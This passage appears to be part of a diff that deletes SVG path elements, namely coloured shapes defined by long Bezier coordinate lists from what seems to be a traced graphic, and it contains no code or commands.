-	C118.140182,130.520020 118.067146,122.146782 117.914047,113.299431 
-	C117.833977,112.825310 117.753319,112.403297 117.822723,112.200439 
-	C118.185982,112.177605 118.479820,112.357635 118.888481,113.170349 
-	C119.009659,114.874001 119.016014,115.944969 119.015945,117.413773 
-	C119.023041,118.876450 119.036568,119.941292 119.040871,121.406479 
-	C119.057152,122.873779 119.082657,123.940735 119.076012,125.423721 
-	C119.075943,127.230644 119.108025,128.621536 119.106964,130.455048 
-	C119.101395,133.270081 119.128967,135.642502 119.115662,138.261780 
-	C119.046570,138.673035 119.018356,138.837433 118.990150,139.001831 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M73.558601,32.962490 
-	C72.367691,35.022614 70.814301,37.081211 68.824303,39.546890 
-	C68.215187,40.281654 68.042686,40.609333 67.870178,40.937012 
-	C67.870178,40.937012 67.953926,40.951805 67.681152,40.995579 
-	C67.218773,41.338623 67.029167,41.637894 66.839554,41.937164 
-	C66.510986,42.003315 66.207161,42.129166 65.686234,42.353657 
-	C68.028297,39.248718 70.612206,36.104843 73.558601,32.962490 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M44.919014,68.774216 
-	C44.919014,68.774216 44.435719,68.863441 44.191074,68.887238 
-	C46.032387,65.946510 48.118340,62.981991 50.600822,60.002110 
-	C50.997353,59.986748 51.126888,60.110733 51.064301,60.395966 
-	C50.878887,61.051445 50.756065,61.421696 50.372040,61.979088 
-	C48.380230,64.368896 46.649624,66.571556 44.919014,68.774216 
-z"/>
-<path fill="#F2B2F4" opacity="1.000000" stroke="none" 
-	d="
-M33.202229,128.273254 
-	C35.472080,128.956009 37.871590,129.945679 40.629856,131.347534 
-	C40.989685,132.507492 40.990749,133.255234 40.991821,134.002991 
-	C38.438507,132.195374 35.885197,130.387756 33.202229,128.273254 
-z"/>
-<path fill="#CAFDFB" opacity="1.000000" stroke="none" 
-	d="
-M133.730164,80.622253 
-	C132.084351,82.041733 130.176956,83.216026 128.087860,84.672554 
-	C127.906174,84.954788 127.454338,85.010475 127.226654,85.012253 
-	C127.163368,80.688889 129.525070,79.429474 133.730164,80.622253 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M136.632019,75.983269 
-	C138.253250,76.423553 139.502884,76.856506 140.967224,77.559860 
-	C138.174042,77.164734 135.166168,76.499207 132.067810,75.480576 
-	C133.405029,75.410286 134.832718,75.693115 136.632019,75.983269 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M96.868866,27.115604 
-	C97.523521,28.869703 98.178177,30.623802 98.750824,32.726696 
-	C95.356987,31.473068 94.708244,28.774328 95.834778,25.566063 
-	C96.378113,26.148336 96.623489,26.631969 96.868866,27.115604 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M84.574730,26.828163 
-	C84.212746,26.829931 83.850769,26.831701 83.220680,26.784077 
-	C85.305695,24.473831 87.721008,22.652943 90.400978,25.900463 
-	C88.183731,26.394497 86.379234,26.611328 84.574730,26.828163 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M103.486053,65.953011 
-	C103.115654,65.284569 103.092590,64.539650 103.071785,63.422298 
-	C103.074043,63.049873 103.042892,63.057411 103.339127,62.931000 
-	C103.907501,62.057983 104.179626,61.311375 104.451759,60.564766 
-	C104.640137,59.937588 104.828514,59.310413 105.097321,58.361378 
-	C104.729630,60.651855 104.281509,63.264191 103.486053,65.953011 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M81.666397,26.997272 
-	C80.275223,28.346092 78.498619,29.665363 76.386703,31.027054 
-	C77.794586,29.702223 79.537781,28.334972 81.666397,26.997272 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M121.045044,68.340942 
-	C122.415359,68.659294 123.821571,69.333527 125.562225,70.069611 
-	C125.896667,70.131462 125.956429,70.091751 126.033585,70.305672 
-	C126.398872,70.712349 126.687019,70.905098 126.975159,71.097847 
-	C126.975159,71.097847 126.994278,71.547218 127.000572,71.772003 
-	C125.031563,70.896805 123.056252,69.796814 121.045044,68.340942 
-z"/>
-<path fill="#FBA0FE" opacity="1.000000" stroke="none" 
-	d="
-M41.284996,134.126099 
-	C40.990749,133.255234 40.989685,132.507492 40.987808,131.386292 
-	C40.986996,131.012863 40.998093,131.001892 41.343296,131.004608 
-	C42.792156,131.671371 43.895813,132.335403 44.999466,132.999451 
-	C44.718395,133.529709 44.437325,134.059952 44.037804,134.870148 
-	C43.138966,134.849777 42.358570,134.549484 41.284996,134.126099 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M98.940102,24.745142 
-	C100.926979,25.250132 102.913849,25.755119 104.928795,26.651875 
-	C104.956863,27.043640 104.838676,27.162437 104.492538,27.088936 
-	C102.782471,26.655224 101.418533,26.295013 100.054604,25.934803 
-	C100.054604,25.934805 100.010979,25.978710 99.911186,25.710192 
-	C99.520966,25.209496 99.230530,24.977320 98.940102,24.745142 
-z"/>
-<path fill="#48B8E4" opacity="1.000000" stroke="none" 
-	d="
-M107.902763,49.783833 
-	C107.519440,50.070244 107.128716,49.977077 106.444145,49.818005 
-	C106.150299,49.752094 106.039734,49.357639 105.910248,48.931568 
-	C105.559303,48.261093 105.337860,48.016689 105.116409,47.772285 
-	C105.116409,47.772285 105.063454,47.368984 104.993164,46.881145 
-	C104.880287,45.986916 104.837685,45.580528 104.795090,45.174137 
-	C105.828514,46.584175 106.861938,47.994217 107.902763,49.783833 
-z"/>
-<path fill="#1DCFAF" opacity="1.000000" stroke="none" 
-	d="
-M84.986694,26.878922 
-	C86.379234,26.611328 88.183731,26.394497 90.374817,26.282738 
-	C90.761391,26.387810 90.883408,26.729742 91.021935,26.847151 
-	C91.212936,27.372976 91.265419,27.781393 91.313187,28.498665 
-	C89.338539,28.181576 87.368591,27.555630 84.986694,26.878922 
-z"/>
-<path fill="#CAFDFB" opacity="1.000000" stroke="none" 
-	d="
-M141.981140,81.475143 
-	C140.616745,81.562897 139.161285,81.320236 137.356384,80.945564 
-	C138.634659,80.923943 140.262360,81.034340 141.981140,81.475143 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M116.039474,64.347015 
-	C117.233589,64.806847 118.463234,65.620369 119.795227,66.741531 
-	C118.623390,66.266342 117.349197,65.483521 116.039474,64.347015 
-z"/>
-<path fill="#CAFDFB" opacity="1.000000" stroke="none" 
-	d="
-M176.170670,101.216293 
-	C176.477905,100.363831 176.785156,99.511375 177.216415,98.331802 
-	C177.222229,99.630165 177.104004,101.255638 176.548035,102.721481 
-	C176.050766,102.384567 175.991257,102.207275 176.027283,101.836823 
-	C176.122849,101.643654 176.170670,101.216293 176.170670,101.216293 
-z"/>
-<path fill="#CAFDFB" opacity="1.000000" stroke="none" 
-	d="
-M125.017838,88.464539 
-	C124.478317,88.810020 124.064476,88.881340 123.340530,89.009552 
-	C123.803459,88.064880 124.576492,87.063309 125.697739,86.039200 
-	C125.745148,86.741234 125.444336,87.465805 125.017838,88.464539 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M103.804657,45.176342 
-	C103.196114,44.031666 102.587578,42.886990 102.219589,41.401752 
-	C102.460144,41.061192 102.928535,41.100571 102.928535,41.100571 
-	C102.928535,41.100571 102.983231,41.049774 102.949020,41.346275 
-	C103.255852,42.118359 103.596893,42.593937 103.937927,43.069515 
-	C103.937927,43.069515 103.973915,42.997761 103.917847,43.339947 
-	C103.916046,44.113918 103.970314,44.545708 103.970123,45.027779 
-	C103.915665,45.078064 103.804657,45.176342 103.804657,45.176342 
-z"/>
-<path fill="#CAFDFB" opacity="1.000000" stroke="none" 
-	d="
-M151.978729,83.572754 
-	C151.163788,83.786400 150.289444,83.682671 149.184998,83.333679 
-	C149.943039,83.144073 150.931198,83.199730 151.978729,83.572754 
-z"/>
-<path fill="#48B8E4" opacity="1.000000" stroke="none" 
-	d="
-M102.959106,40.734772 
-	C102.928535,41.100571 102.460144,41.061192 102.226532,41.035240 
-	C101.992920,41.009293 101.999619,40.999874 101.974312,40.706650 
-	C101.630280,39.944553 101.311554,39.475674 100.992836,39.006794 
-	C100.959915,38.834568 100.926987,38.662342 100.845558,38.031040 
-	C100.797050,37.571968 100.830605,37.118595 100.830605,37.118595 
-	C101.550293,38.202053 102.269989,39.285511 102.959106,40.734772 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M65.024734,42.339020 
-	C65.312378,42.799683 65.222328,43.165440 65.075684,43.811836 
-	C64.573105,44.389103 64.127106,44.685734 63.424583,45.072693 
-	C63.661057,44.190052 64.154053,43.217087 65.024734,42.339020 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M62.824547,45.150925 
-	C62.644222,46.018257 62.105080,46.878876 61.275959,47.857185 
-	C61.479233,47.031319 61.972485,46.087765 62.824547,45.150925 
-z"/>
-<path fill="#DFADFE" opacity="1.000000" stroke="none" 
-	d="
-M51.000820,139.999100 
-	C51.444893,139.999664 51.888966,140.000229 52.666668,140.332535 
-	C53.004318,141.105408 53.008335,141.546539 53.012352,141.987671 
-	C53.012352,141.987671 52.899895,142.112900 52.844883,142.181152 
-	C51.982281,142.009811 51.174686,141.770248 50.397690,141.160614 
-	C50.706139,140.589691 50.896980,140.325867 51.000820,139.999100 
-z"/>
-<path fill="#E9A8FE" opacity="1.000000" stroke="none" 
-	d="
-M50.783356,139.730759 
-	C50.896980,140.325867 50.706139,140.589691 50.206539,140.901398 
-	C49.376972,140.532791 48.769150,140.053375 48.007015,139.321045 
-	C48.757099,139.199570 49.661495,139.330994 50.783356,139.730759 
-z"/>
-<path fill="#7BC7FC" opacity="1.000000" stroke="none" 
-	d="
-M98.591156,24.789299 
-	C99.230530,24.977320 99.520966,25.209496 99.930733,25.692421 
-	C99.141388,26.150051 98.232697,26.356934 97.096436,26.839710 
-	C96.623489,26.631969 96.378113,26.148336 96.145157,25.383102 
-	C96.852448,25.012154 97.547333,24.922806 98.591156,24.789299 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M53.849556,56.150761 
-	C53.834084,56.905830 53.464760,57.636864 52.767002,58.667564 
-	C52.438568,58.967232 52.018665,59.021114 51.972095,58.977776 
-	C51.925526,58.934437 51.829491,58.850975 51.829491,58.850975 
-	C52.384892,57.942890 52.940296,57.034809 53.849556,56.150761 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M109.974625,30.535492 
-	C109.877861,30.908339 109.702858,30.960968 109.027924,30.997887 
-	C108.527992,30.982176 108.057510,30.924711 108.057510,30.924711 
-	C108.057510,30.924711 107.990509,30.967949 107.925217,30.701674 
-	C107.549576,29.986393 107.239235,29.537388 106.971313,29.040009 
-	C107.013741,28.991632 107.101128,28.897182 107.101128,28.897182 
-	C108.032875,29.336546 108.964630,29.775911 109.974625,30.535492 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M57.794983,52.926323 
-	C57.794987,52.926323 57.382221,52.961086 57.175182,52.954071 
-	C57.384682,51.980614 57.801220,51.014172 58.620972,50.032616 
-	C59.024185,50.017509 59.180679,50.182194 59.107857,50.464966 
-	C58.951237,51.125309 58.867443,51.502880 58.783649,51.880455 
-	C58.783649,51.880455 58.873604,51.917656 58.617458,51.967995 
-	C58.172535,52.320995 57.983761,52.623657 57.794983,52.926323 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M105.052597,28.876682 
-	C105.052597,28.876682 104.966408,28.446533 104.933167,28.021809 
-	C104.899925,27.597086 104.838676,27.162437 104.838676,27.162437 
-	C104.838676,27.162437 104.956863,27.043640 105.016769,26.983641 
-	C105.696259,27.382311 106.315849,27.840981 107.018280,28.598415 
-	C107.101128,28.897182 107.013741,28.991632 106.658928,29.005268 
-	C105.886940,28.971495 105.469772,28.924088 105.052597,28.876682 
-z"/>
-<path fill="#8EC1FE" opacity="1.000000" stroke="none" 
-	d="
-M145.318497,77.968712 
-	C144.994919,77.493752 144.998672,77.066154 145.004318,76.317535 
-	C145.642929,76.485039 146.279633,76.973572 146.939209,77.797836 
-	C146.523331,78.094398 146.084579,78.055237 145.318497,77.968712 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M41.779556,71.075714 
-	C41.697487,71.720825 41.264492,72.385284 40.544659,73.150497 
-	C40.648090,72.532516 41.038361,71.813789 41.779556,71.075714 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M55.463692,55.822536 
-	C55.161884,55.900974 54.877209,56.020294 54.379074,56.199581 
-	C54.546181,55.535980 54.943893,54.853294 55.652031,54.063187 
-	C55.962460,53.955772 56.071671,54.073608 55.990005,54.371201 
-	C55.760120,55.053375 55.611908,55.437954 55.463692,55.822536 
-z"/>
-<path fill="#CAFDFB" opacity="1.000000" stroke="none" 
-	d="
-M155.780258,84.626633 
-	C155.138092,84.760544 154.265152,84.653076 153.163712,84.299438 
-	C153.806641,84.163925 154.678055,84.274582 155.780258,84.626633 
-z"/>
-<path fill="#2AE3C5" opacity="1.000000" stroke="none" 
-	d="
-M175.931732,102.029991 
-	C175.991257,102.207275 176.050766,102.384567 176.225845,102.817978 
-	C176.104996,103.631729 175.868576,104.189354 175.315002,104.876213 
-	C174.997818,105.005440 174.824677,104.875275 174.865479,104.555038 
-	C175.248108,103.499870 175.589920,102.764931 175.931732,102.029991 
-z"/>
-<path fill="#24B7CC" opacity="1.000000" stroke="none" 
-	d="
-M119.991470,170.081436 
-	C119.894257,170.549835 119.797043,171.018250 119.527740,171.655457 
-	C119.151253,171.500549 118.946854,171.176865 118.701004,170.566010 
-	C118.659561,170.278824 118.880325,170.097336 119.212906,170.039337 
-	C119.545479,169.981323 119.991478,170.081436 119.991470,170.081436 
-z"/>
-<path fill="#BEB9FE" opacity="1.000000" stroke="none" 
-	d="
-M110.995216,136.334747 
-	C111.219193,136.018982 111.442657,136.033081 112.002518,136.091858 
-	C112.290825,136.536026 112.242722,136.935547 112.180710,137.635925 
-	C111.971375,137.949982 111.775955,137.963150 111.286667,137.979919 
-	C110.993431,137.543884 110.994064,137.104248 110.995216,136.334747 
-z"/>
-<path fill="#2EDBED" opacity="1.000000" stroke="none" 
-	d="
-M174.968918,105.984543 
-	C174.817017,106.546715 174.665131,107.108879 174.203156,107.785370 
-	C173.893066,107.899681 173.727478,107.741318 173.798645,107.455582 
-	C173.914413,106.778656 173.959030,106.387466 174.244995,105.996651 
-	C174.486359,105.997032 174.968918,105.984543 174.968918,105.984543 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M100.996918,39.307701 
-	C101.311554,39.475674 101.630280,39.944553 101.969711,40.709049 
-	C101.660614,40.539314 101.330803,40.073959 100.996918,39.307701 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M104.819382,45.138893 
-	C104.837685,45.580528 104.880287,45.986916 104.902390,46.699150 
-	C104.571739,46.571964 104.261597,46.138935 103.878052,45.441124 
-	C103.804657,45.176342 103.915665,45.078064 104.192444,45.086411 
-	C104.469231,45.094753 104.929214,45.100430 104.929214,45.100430 
-	C104.929214,45.100430 104.843666,45.103649 104.819382,45.138893 
-z"/>
-<path fill="#9CC0FC" opacity="1.000000" stroke="none" 
-	d="
-M121.195618,39.774841 
-	C121.766060,39.933224 122.269211,40.172760 122.945328,40.634827 
-	C123.118286,40.857361 123.035728,40.954945 122.702713,40.965355 
-	C121.909714,40.655457 121.449722,40.335152 120.989738,40.014847 
-	C120.989738,40.014847 121.128334,39.855988 121.195618,39.774841 
-z"/>
-<path fill="#CAFDFB" opacity="1.000000" stroke="none" 
-	d="
-M146.801422,82.619751 
-	C146.401840,82.791344 145.782928,82.729706 144.939545,82.439713 
-	C145.337418,82.269745 145.959763,82.328140 146.801422,82.619751 
-z"/>
-<path fill="#46A762" opacity="1.000000" stroke="none" 
-	d="
-M50.231674,93.564285 
-	C50.281704,93.312462 50.508224,93.002289 50.839111,92.841400 
-	C50.803127,93.202049 50.624691,93.373795 50.231674,93.564285 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M100.853851,37.092209 
-	C100.830605,37.118595 100.797050,37.571968 100.737221,37.791367 
-	C100.430840,37.890762 100.232285,37.716179 99.975174,37.317875 
-	C99.868637,37.148735 99.989113,37.019356 100.255783,37.016930 
-	C100.522446,37.014500 100.943245,37.089706 100.943245,37.089706 
-	C100.943245,37.089706 100.877098,37.065823 100.853851,37.092209 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M75.823914,31.104456 
-	C75.881660,31.322315 75.691658,31.596556 75.248657,31.914045 
-	C75.189163,31.691809 75.382660,31.426323 75.823914,31.104456 
-z"/>
-<path fill="#48B8E4" opacity="1.000000" stroke="none" 
-	d="
-M99.883423,34.861271 
-	C99.962372,35.097332 99.472626,35.073540 99.230972,35.031540 
-	C98.989326,34.989544 98.960388,34.506546 98.997581,34.267719 
-	C99.372856,34.122459 99.629417,34.321232 99.883423,34.861271 
-z"/>
-<path fill="#AFBDFC" opacity="1.000000" stroke="none" 
-	d="
-M127.087029,43.679012 
-	C126.906448,43.730156 126.580795,43.551193 126.157486,43.101578 
-	C126.353882,43.036919 126.647911,43.242912 127.087029,43.679012 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M105.134689,48.025978 
-	C105.337860,48.016689 105.559303,48.261093 105.800980,48.758316 
-	C105.598450,48.767311 105.375710,48.523491 105.134689,48.025978 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M74.730293,32.069725 
-	C74.797409,32.274357 74.637848,32.554192 74.227882,32.874741 
-	C74.041122,32.582302 74.216499,32.325459 74.730293,32.069725 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M59.867290,49.101624 
-	C60.110275,49.221043 60.102947,49.396717 59.850082,49.843826 
-	C59.604553,50.115257 59.180679,50.182194 59.180679,50.182194 
-	C59.180679,50.182194 59.024185,50.017509 58.946999,49.932320 
-	C59.118870,49.617378 59.367924,49.387627 59.867290,49.101624 
-z"/>
-<path fill="#46A762" opacity="1.000000" stroke="none" 
-	d="
-M24.913748,99.384506 
-	C25.014940,99.360329 25.002102,99.310577 24.993114,99.286743 
-	C24.984129,99.262917 24.699762,99.372658 24.699762,99.372658 
-	C24.699762,99.372658 24.812555,99.408684 24.913748,99.384506 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M37.822166,76.141815 
-	C37.915165,76.347145 37.752628,76.662300 37.347832,77.102722 
-	C37.259266,76.902550 37.412952,76.577095 37.822166,76.141815 
-z"/>
-<path fill="#46A762" opacity="1.000000" stroke="none" 
-	d="
-M25.954618,96.128700 
-	C25.829479,96.390167 25.645887,96.600616 25.210289,96.843582 
-	C25.016737,96.927124 24.907078,96.490166 25.214455,96.288834 
-	C25.521833,96.087509 25.954618,96.128700 25.954618,96.128700 
-z"/>
-<path fill="#3FD28B" opacity="1.000000" stroke="none" 
-	d="
-M25.899426,95.902359 
-	C25.954618,96.128700 25.521833,96.087509 25.304556,96.082397 
-	C25.048708,95.896347 25.010138,95.715408 25.086615,95.281937 
-	C25.495415,95.165825 25.709604,95.381363 25.899426,95.902359 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M31.805357,83.128151 
-	C31.896402,83.331276 31.735327,83.644165 31.331356,84.078827 
-	C31.243387,83.879700 31.398312,83.558807 31.805357,83.128151 
-z"/>
-<path fill="#AFBDFC" opacity="1.000000" stroke="none" 
-	d="
-M162.040665,81.262283 
-	C162.216049,81.215424 162.497177,81.404175 162.884979,81.829239 
-	C162.709900,81.876328 162.428146,81.687111 162.040665,81.262283 
-z"/>
-<path fill="#2AE3C5" opacity="1.000000" stroke="none" 
-	d="
-M175.062683,105.783554 
-	C174.968918,105.984543 174.486359,105.997032 174.338959,105.780930 
-	C174.359528,105.295433 174.570572,105.065582 174.824677,104.875275 
-	C174.824677,104.875275 174.997818,105.005440 175.083923,105.072319 
-	C175.170013,105.139198 175.156448,105.582565 175.062683,105.783554 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M33.661404,81.050278 
-	C33.862606,81.303764 33.712543,81.571617 33.190224,81.826965 
-	C33.030495,81.582535 33.194553,81.332603 33.661404,81.050278 
-z"/>
-<path fill="#2EDBED" opacity="1.000000" stroke="none" 
-	d="
-M173.975555,107.979179 
-	C173.944702,108.368752 173.831360,108.678825 173.515106,109.139420 
-	C173.312164,109.289948 173.091675,109.091286 173.016052,108.757156 
-	C172.940414,108.423027 172.971878,107.941803 173.166275,107.912430 
-	C173.360672,107.883049 173.727478,107.741318 173.727478,107.741318 
-	C173.727478,107.741318 173.893066,107.899681 173.975555,107.979179 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M35.543003,79.087814 
-	C35.721550,78.996483 35.825367,79.371666 35.855469,79.563309 
-	C35.885571,79.754944 35.424114,79.854416 35.187973,79.854309 
-	C35.009281,79.580200 35.146824,79.355179 35.543003,79.087814 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M130.135773,74.437668 
-	C130.325928,74.220055 130.612869,74.312973 130.985931,74.730865 
-	C130.793121,74.935493 130.513275,74.832954 130.135773,74.437668 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M39.946407,73.276123 
-	C40.071693,73.522667 39.898518,73.854324 39.476372,74.330795 
-	C39.367580,74.104156 39.507763,73.732697 39.946407,73.276123 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M43.691544,69.068665 
-	C43.761074,69.247208 43.612728,69.534187 43.230690,69.912338 
-	C43.043690,69.663307 43.202579,69.387840 43.691544,69.068665 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M102.315750,67.842110 
-	C102.189819,67.649567 102.296829,67.306892 102.633354,66.811264 
-	C102.758141,67.002869 102.653419,67.347427 102.315750,67.842110 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M50.935478,59.921867 
-	C51.014256,59.572388 51.205715,59.327518 51.638737,58.986679 
-	C51.829491,58.850975 51.925526,58.934437 51.899837,59.213753 
-	C51.704163,59.794647 51.455078,60.000538 51.126888,60.110733 
-	C51.126888,60.110733 50.997353,59.986748 50.935478,59.921867 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M104.833763,56.081337 
-	C104.603951,56.089451 104.369904,55.819077 104.123116,55.275585 
-	C104.350090,55.269260 104.589813,55.536053 104.833763,56.081337 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M56.724335,53.058060 
-	C56.949253,52.977570 57.003716,53.460487 56.764763,53.735527 
-	C56.525810,54.010567 56.071671,54.073608 56.071671,54.073608 
-	C56.071671,54.073608 55.962460,53.955772 55.908112,53.894306 
-	C56.013088,53.549435 56.228306,53.318005 56.724335,53.058060 
-z"/>
-<path fill="#F7A4FF" opacity="1.000000" stroke="none" 
-	d="
-M45.266922,132.785736 
-	C43.895813,132.335403 42.792156,131.671371 41.344479,131.003357 
-	C41.628807,129.538696 41.967594,127.840469 42.936634,126.659271 
-	C46.729610,122.035851 50.435394,117.271423 54.770226,113.193665 
-	C56.704964,111.373657 60.053024,111.056076 63.679234,109.717072 
-	C61.478806,108.303085 59.863636,107.265182 57.368248,105.661659 
-	C59.795944,104.470940 61.556206,103.786713 63.121399,102.794708 
-	C65.093903,101.544540 67.742477,100.137718 63.340454,98.034645 
-	C66.621132,95.603333 70.087532,93.425949 74.970894,94.344734 
-	C79.710831,95.236511 84.652290,95.057205 90.621994,95.415260 
-	C89.302383,97.301399 88.470833,98.489952 87.319489,99.839554 
-	C80.700340,104.137199 74.316811,108.152397 68.126038,112.445564 
-	C62.288425,116.493805 56.478184,120.622658 51.013180,125.147560 
-	C48.714005,127.051224 47.332851,130.063644 45.266922,132.785736 
-z"/>
-<path fill="#E9A8FE" opacity="1.000000" stroke="none" 
-	d="
-M53.395065,141.997711 
-	C53.008335,141.546539 53.004318,141.105408 52.999718,140.333359 
-	C54.622223,134.215317 59.170292,130.920471 64.182571,127.265045 
-	C71.747299,123.849327 78.771790,120.760948 85.722954,117.515518 
-	C86.863228,116.983131 87.536942,115.459633 88.675400,114.913635 
-	C91.710564,113.457970 94.881508,112.285416 97.847992,111.300964 
-	C90.336357,117.135422 82.839058,122.500237 75.672012,128.274948 
-	C72.133553,131.125992 69.204620,134.733521 65.999893,137.998779 
-	C63.856625,139.228119 61.824841,140.771576 59.533848,141.584747 
-	C57.785397,142.205353 55.708542,141.900757 53.395065,141.997711 
-z"/>
-<path fill="#ECAAFE" opacity="1.000000" stroke="none" 
-	d="
-M97.998474,111.000305 
-	C94.881508,112.285416 91.710564,113.457970 88.675400,114.913635 
-	C87.536942,115.459633 86.863228,116.983131 85.722954,117.515518 
-	C78.771790,120.760948 71.747299,123.849327 64.374092,126.994888 
-	C65.256126,125.371750 66.288727,123.487976 67.809219,122.164902 
-	C71.998528,118.519539 76.392090,115.108917 80.853165,111.302567 
-	C83.202530,109.631561 85.425011,108.296478 87.599670,106.887589 
-	C90.919235,104.736946 93.951500,101.819374 97.569893,100.534363 
-	C102.219803,98.883018 101.899338,103.586929 102.626038,106.622604 
-	C100.842094,108.339989 99.420280,109.670143 97.998474,111.000305 
-z"/>
-<path fill="#E3ADFE" opacity="1.000000" stroke="none" 
-	d="
-M97.847984,111.300964 
-	C99.420280,109.670143 100.842094,108.339989 102.631340,107.005219 
-	C106.751022,107.828102 104.163544,104.735107 105.002495,103.381737 
-	C106.153923,102.128342 107.305099,101.254082 108.720596,100.189667 
-	C109.322227,104.060204 109.659546,108.120895 109.747955,112.591248 
-	C109.499039,113.000916 108.999863,113.001831 108.679359,113.042877 
-	C107.906105,113.722206 107.453362,114.360497 106.892052,115.218140 
-	C106.583641,115.711121 106.322113,115.898766 105.603409,116.000320 
-	C103.805389,116.666504 102.402855,117.332794 100.859024,118.288155 
-	C99.811729,119.051689 98.905708,119.526146 97.999695,120.000610 
-	C90.173111,124.327530 82.323906,128.614288 74.532364,133.003418 
-	C71.851616,134.513535 69.314758,136.279083 66.356033,137.963348 
-	C69.204620,134.733521 72.133553,131.125992 75.672012,128.274948 
-	C82.839058,122.500237 90.336357,117.135422 97.847984,111.300964 
-z"/>
-<path fill="#F7A4FF" opacity="1.000000" stroke="none" 
-	d="
-M78.568298,92.083221 
-	C81.903030,90.563393 85.249977,89.261398 88.698868,88.341743 
-	C89.572243,88.108856 90.770615,89.094727 91.819641,89.520554 
-	C91.113838,90.308014 90.475700,91.692047 89.690674,91.781097 
-	C86.022079,92.197258 82.312965,92.256241 78.568298,92.083221 
-z"/>
-<path fill="#02E3DA" opacity="1.000000" stroke="none" 
-	d="
-M173.798645,107.455582 
-	C173.727478,107.741318 173.360672,107.883049 173.019073,107.616463 
-	C170.771759,105.853043 168.866028,104.356201 166.729248,102.677879 
-	C162.404190,108.259834 156.592346,109.362007 150.563324,110.041862 
-	C148.938583,110.225075 147.306870,110.677017 145.769531,111.250183 
-	C137.163849,114.458641 128.586105,117.742058 119.998611,120.600357 
-	C119.998703,119.135315 119.999016,118.069786 119.999588,117.002129 
-	C119.999840,117.000000 120.002136,116.996948 120.354782,116.961746 
-	C126.337357,114.346748 131.859543,111.488609 137.624191,109.256775 
-	C145.023056,106.392242 152.474121,103.340782 160.187271,101.746796 
-	C163.993881,100.960136 167.407150,101.206474 169.352509,96.965317 
-	C171.794556,95.953522 173.885117,94.978981 175.975693,94.004433 
-	C175.998917,96.106934 176.022141,98.209442 176.108017,100.764114 
-	C176.170670,101.216293 176.122849,101.643654 176.027283,101.836823 
-	C175.589920,102.764931 175.248108,103.499870 174.865479,104.555038 
-	C174.570572,105.065582 174.359528,105.295433 174.097595,105.780548 
-	C173.959030,106.387466 173.914413,106.778656 173.798645,107.455582 
-z"/>
-<path fill="#16E4CE" opacity="1.000000" stroke="none" 
-	d="
-M175.747635,93.723335 
-	C173.885117,94.978981 171.794556,95.953522 168.912903,96.964775 
-	C165.983337,97.087051 163.688065,96.696747 161.733490,97.340660 
-	C153.319397,100.112640 144.967514,103.086990 136.667984,106.188408 
-	C131.050613,108.287544 125.558144,110.720940 120.004997,113.002571 
-	C120.000183,113.000320 119.987038,112.994896 119.987045,112.994896 
-	C119.992058,112.246529 119.997070,111.498169 120.359451,110.337265 
-	C122.551956,108.887619 124.289078,107.587196 126.239960,106.861053 
-	C133.016205,104.338860 139.937164,102.193146 146.650543,99.521019 
-	C148.996185,98.587387 150.899857,96.543350 153.005356,95.006409 
-	C157.472198,94.368454 161.922684,93.532509 166.411591,93.161934 
-	C169.419373,92.913635 172.481674,93.325676 175.747635,93.723335 
-z"/>
-<path fill="#20E5CA" opacity="1.000000" stroke="none" 
-	d="
-M152.562088,95.003662 
-	C150.899857,96.543350 148.996185,98.587387 146.650543,99.521019 
-	C139.937164,102.193146 133.016205,104.338860 126.239960,106.861053 
-	C124.289078,107.587196 122.551956,108.887619 120.362175,109.963089 
-	C119.248238,104.916077 122.226311,103.073204 126.554237,101.928505 
